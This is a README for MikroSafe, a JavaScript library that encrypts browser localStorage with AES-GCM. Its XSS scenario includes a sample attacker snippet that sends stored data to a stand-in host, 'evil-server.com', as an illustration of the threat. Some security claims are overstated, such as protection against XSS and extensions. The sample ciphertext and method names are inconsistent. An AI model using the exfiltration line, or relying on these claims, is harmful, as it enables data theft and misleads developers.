MikroSafe

Encrypt and decrypt your LocalStorage data — simply and securely.

A lightweight (less than 1KB gzipped), zero-dependency library for securely storing data in browsers using true AES-GCM encryption.

Example

See the MikroSafe example site or the example directory in this repo.

Installation

With HTML, loading MikroSafe from your local files:

<script src="path/to/mikrosafe.min.js"></script>

Or via npm:

npm install mikrosafe -S

Quick Start

// Create a storage instance with a custom password
const storage = new MikroSafe('my-secure-password');

// Store data
await storage.setItem('userProfile', {
  name: 'John Doe',
  email: '[email protected]',
  isActive: true
});

// Retrieve data
const profile = await storage.getItem('userProfile');

// Remove data
storage.removeItem('userProfile');

// Clear all data
storage.clear();

Why MikroSafe?

Web applications frequently store sensitive user data in the browser's localStorage for offline functionality and improved performance. However, localStorage is inherently insecure:

• Data is stored in plain text.
• Accessible to any JavaScript running on the same domain.
• Vulnerable to XSS attacks and malicious browser extensions.
• Exposed in plain text during browser memory dumps.

MikroSafe addresses these security vulnerabilities by implementing true encryption using the Web Crypto API, ensuring your data remains protected even if compromised.

What about other options?

There are some number of alternatives out in the open for encrypting and decrypting LocalStorage. What MikroSafe does is to:

• Focus on security using actual encryption: This is not the case for all other options, at least not without manually providing your own crypto.
• Lightweight: Minimalist implementation with fewer unneeded bells and whistles.
• Modern implementation: Make it nice and easy for contributors to work with.

Security Benefits

Industry-Standard Encryption

MikroSafe uses AES-GCM 256-bit encryption (the gold standard for symmetric encryption) provided by the browser's built-in Web Crypto API to protect your data:

• AES-GCM: A highly secure authenticated encryption mode.
• PBKDF2: Password-based key derivation with 100,000 iterations for protection against brute force attacks.
• Unique IV: Generated for each encryption operation to prevent replay attacks.

Protection Against Common Attack Vectors

| Attack Vector | Plain localStorage | MikroSafe | |-------------------------|----------------------------------------------|--------------------------------------------------| | XSS Attacks | ❌ Attackers can read all data via JavaScript | ✅ Encrypted data is useless without the password | | Browser Extensions | ❌ Extensions can access all data | ✅ Data is encrypted and unreadable | | Local Access | ❌ Anyone with physical access can view data | ✅ Data is encrypted in browser storage | | Man-in-the-Middle | ❌ Clear text if intercepted via HTTP | ✅ Already encrypted before transmission | | Browser Developer Tools | ❌ Plainly visible in Storage tab | ✅ Only encrypted ciphertext is visible | | Memory Dumps | ❌ Data visible in browser memory | ✅ Only encrypted when in localStorage |

Default Password & Security

Even with the default password, MikroSafe provides significant security improvements:

1. Defense in Depth: Adding encryption creates an additional security layer that attackers must overcome.
2. Security Through Obscurity: While not a primary security measure, encryption prevents casual data inspection.
3. Obfuscation vs. Nothing: Encrypted data with a default password is still more secure than plaintext data.
4. Custom Password Implementation: For production applications, using a custom user-provided password dramatically increases security.

Remember: The strongest security comes from using custom, user-provided passwords.

The default password is meant for development and should be replaced in production environments.

Comparing Real-World Security Scenarios

Scenario 1: XSS Attack

If an attacker manages to inject malicious JavaScript:

With plain localStorage:

// Attacker can immediately access sensitive data
const userData = localStorage.getItem('userProfile');
// Send to attacker's server
fetch('https://evil-server.com/steal', {
  method: 'POST',
  body: userData
});

With MikroSafe:

// Attacker gets only encrypted data
const encryptedData = localStorage.getItem('userProfile');
// Data is useless without the encryption password
// e.g.: "U2FsdGVkX18kVrd2JtrPQbGae6w92H/1OJswGFFzZ8w8P3..."

Scenario 2: Malicious Browser Extension

With plain localStorage: Browser extensions with storage permissions can read all localStorage data in plain text, potentially accessing sensitive user information.

With MikroSafe: Extensions still see only the encrypted data, which is useless without the encryption key.

Scenario 3: Physical Device Access

If someone gains access to a user's device:

With plain localStorage: Opening developer tools shows all stored data in readable format.

With MikroSafe: Data appears as encrypted strings, unreadable without the password.

Recommendations for Maximum Security

1. Use unique passwords: Create a unique encryption password, ideally derived from static but not-easily-known data.

2. Custom salt: Provide a custom salt value rather than using the default.

3. Secure password management: Never store the encryption password in localStorage or sessionStorage.

4. Limited data lifetime: Only store sensitive data as long as necessary.

API Reference

Constructor

const storage = new MikroSafe(password, options);

| Parameter | Type | Description | |--------------|-------------------|----------------------------------------------| | password | string | The password used for encryption/decryption | | options | object | Optional configuration settings | | options.salt | string/Uint8Array | Custom salt for key derivation (recommended) |

Methods

| Method | Parameters | Return | Description | |--------|--------------|------------------|-------------------------------| | set | (key, value) | Promise | Encrypts and stores data | | get | (key) | Promise<T|null> | Retrieves and decrypts data | | remove | (key) | void | Removes an item from storage | | clear | () | void | Clears all items from storage |

License

MIT. See the LICENSE file.